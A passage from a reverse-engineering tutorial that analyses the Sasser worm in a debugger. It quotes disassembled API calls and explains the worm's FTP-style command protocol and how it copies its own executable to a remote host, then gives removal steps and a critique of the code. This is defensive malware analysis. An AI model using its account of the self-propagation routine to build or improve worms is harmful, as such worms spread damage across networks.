Run it, and you will see the message on your telnet session. Now, the virus expects to receive some data. Type "USER yourname" and press intro, this will send this data to the virus (normally, you have to send the user and then the password, in this order). Go to the virus and run the call to WS2_32.recv, you will see that it has received your username, check the buffer. Then, the virus sends us its acknowledgment, "331 OK" (again, go to the telnet session to see it). Of course, we now have to send the password, something like "PASS yourname" (you will see the string "PASS" after the call to WS2_32.recv). Again, the procedure to look inside the returned data for a given string is called, it locates "PASS" and proceeds to send us another success code, "230 OK". After having received the username and password you also have this other possible commands: PORT, RETR, QUIT (see the string references, all possible commands are nicely grouped so everybody can easily read them). The command "QUIT" is a bit confusing, the virus will simply reply with a "226 OK". Let's go with the other commands.

The command RETR requests a copy to the virus to a given IP, this IP has to be specified through a PORT directive, for example let's send a "PORT 123". For now, the virus will return - after some string manipulation - a "220 OK". Next, it shall move to await for more input. Let's tell the virus we want to receive a copy of it at the given port, "RETR" will do this job, send it. The virus takes the previously passed IP once formatted and will try to connect there. Note that the routine to generate the IP from the passed one is buggy, it shall always generate - as far as we have seen - an IP of the form XXX.XX.65538.X, which is an invalid one. Changing the destination port doesn't work at all, let's try the command RETR.

First, we send an "PORT 111" and next a RETR, the virus will try to convert the "111.1.65538.0" to the standard format:

```
004011DC    call dword ptr [<&WS2_32.#11>]     ; WS2_32.inet_addr
```

Since the passed IP was invalid, 65538 ¿ 255, the call will return a -1, change this to any other value than 0,1 and continue debugging. The virus checks the return code, it testes that this is neither INADDR_NONE nor 0. Next, it creates a socket to connect to the given IP:

```
00401D15    call dword ptr [<&WS2_32.#23>]          ; WS2_32.socket
...
00401D30    call dword ptr [<&WS2_32.#4>]           ; WS2_32.connect
```

The call to WS2_32.connect will obviously fail, change the return to 0. As we mentioned above, the virus is going to send itself through this connection. For this, it needs to have access to its own executable file:

```
00401D50    push 0
00401D52    call dword ptr [<&KERNEL32.GetModuleFileNameA>]
```

And now opens itself with READ permissions:

```
00401D61    call dword ptr [<&KERNEL32._lopen>]
```

Finally, it reads a single byte from itself and sends it to the host we have provided. This operation repeats again and again, until the whole virus has been transferred to the remote host. When this cycle terminates the virus awaits for new instructions.

V. How to clean it

If you have read so far you don't need to be said that to clean Sasser from your machine you have to:

- Remove avserve2.exe from the registry.
- Remove avserve2.exe from your WINDOWS directory.

Other versions of Sasser need a different treatment.

VI. Conclusions

Sasser is quite a simple virus, programmed in Visual C++ with some elementary features that can be simply ripped from many other viruses. However, it has the virtue of incorporating an exploit which makes it to spread quite quickly. Well patched Operative Systems are essentially safe against this kind of i-Worms but the truth is that most users do not want to loose their time into downloading heavy updates, this makes all Anti-Virus efforts useless.

Let's review some of the main mistakes in the virus:

- Creating 128 threads slows so much the machine that is evident that something strange is going on.
- Sending the virus byte by byte requires lots of unnecessary calls. Again, this slows down the connection.
- Sockets are opened and closed when no need.
- The registry key used by the virus is totally outdated.

It's hard to believe that somebody able to find by himself one of the latest exploits, which are published in a way that are totally impossible to reproduce for the novice, ends up coding such a poor program.

Unfortunately, Sasser is only one more of many viruses which simply incorporate an outdated exploit, they all survive a few days but the economical damage is big enough to gain headlines in the international press. At the time of this writing, another variant of the almost dead worm myDoom has been found in the wild.

References

[1] OllyDebugger, Available at ollydbg.cbj.net